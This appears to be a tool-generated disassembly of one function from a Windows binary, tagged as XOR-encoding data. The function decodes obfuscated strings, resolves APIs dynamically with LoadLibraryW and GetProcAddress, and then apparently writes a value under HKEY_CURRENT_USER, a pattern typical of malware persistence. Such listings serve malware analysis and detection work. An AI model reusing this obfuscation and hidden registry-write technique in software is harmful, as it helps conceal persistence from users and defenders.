Function at 0x40d076
Capabilities:
Encode data using xor

Disassembly:
push 0xec
mov eax, 0x432728
call fcn.0041bc0a
push 0xf
pop ebx
mov dword [ebp - 4], 1
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], ebx
mov eax, dword [ebp + 0x18]
cmova ecx, dword [ebp + 8]
add eax, ecx
cmp dword [ebp + 0x1c], ebx
lea ecx, [ebp + 8]
cmova ecx, dword [ebp + 8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040d90c
mov byte [ebp - 4], 2
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], ebx
mov eax, dword [ebp + 0x30]
cmova ecx, dword [ebp + 0x20]
add eax, ecx
cmp dword [ebp + 0x34], ebx
lea ecx, [ebp + 0x20]
cmova ecx, dword [ebp + 0x20]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040d90c
push 6
pop ecx
mov byte [ebp - 4], 3
lea edi, [ebp - 0x98]
mov esi, 0x43cc34
rep movsd dword es:[edi], dword [esi]
push 0x34
xor ecx, ecx
pop ebx
movsw word es:[edi], word [esi]
xor edx, edx
mov eax, ecx
div ebx
add edx, 0x38
xor word [ebp + ecx*2 - 0x98], dx
inc ecx
cmp ecx, 0xd
jl 0x40d0f6
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40d26a
cmp byte [str.GKZHYS], 0
lea edi, [ebp - 0x7c]
mov esi, str.j_xNX_K__n:
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40d151
push 0x34
xor ecx, ecx
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x38
xor byte [ebp + ecx - 0x7c], dl
inc ecx
cmp ecx, 0x10
jl 0x40d13e
lea eax, [ebp - 0x7c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, str.j_hYIh_4
mov dword [ebp - 0x48], eax
lea edi, [ebp - 0x6c]
xor ecx, ecx
push 0x34
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x38
xor byte [ebp + ecx - 0x6c], dl
inc ecx
cmp ecx, 0xf
jl 0x40d172
lea eax, [ebp - 0x6c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp byte [0x43cf07], 0
lea edi, [ebp - 0x5c]
mov esi, str.j_xPRMZ_v__CmWSh_I_
mov dword [ebp - 0x4c], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x40d1bf
push 0x34
xor ecx, ecx
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x38
xor byte [ebp + ecx - 0x5c], dl
inc ecx
cmp ecx, 0xc
jl 0x40d1ac
lea eax, [ebp - 0x5c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 0x48], 0
mov dword [ebp - 0x50], eax
je 0x40d263
cmp dword [ebp - 0x4c], 0
je 0x40d263
test eax, eax
je 0x40d263
push 0x17
pop ecx
mov esi, str.kVOKLZ
lea edi, [ebp - 0xf8]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push 0x34
mov ecx, esi
pop edi
xor edx, edx
mov eax, ecx
div edi
add edx, 0x38
xor word [ebp + ecx*2 - 0xf8], dx
inc ecx
cmp ecx, 0x2e
jl 0x40d1fc
push esi
lea eax, [ebp - 0x44]
push eax
push esi
push 2
push esi
push esi
push esi
lea eax, [ebp - 0xf8]
push eax
push 0x80000001
call dword [ebp - 0x48]
test eax, eax
jne 0x40d263
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x28]
cmp dword [ebp - 0x14], 7
lea ecx, [ebp - 0x40]
cmova edx, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], 7
lea eax, [eax*2 + 2]
push eax
cmova ecx, dword [ebp - 0x40]
push edx
push 1
push esi
push ecx
push dword [ebp - 0x44]
call dword [ebp - 0x4c]
push dword [ebp - 0x44]
call dword [ebp - 0x50]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x28]
call fcn.00408a6b
lea ecx, [ebp - 0x40]
call fcn.00408a6b
lea ecx, [ebp + 8]
call fcn.00402636
lea ecx, [ebp + 0x20]
call fcn.00402636
call fcn.0041bbb9
ret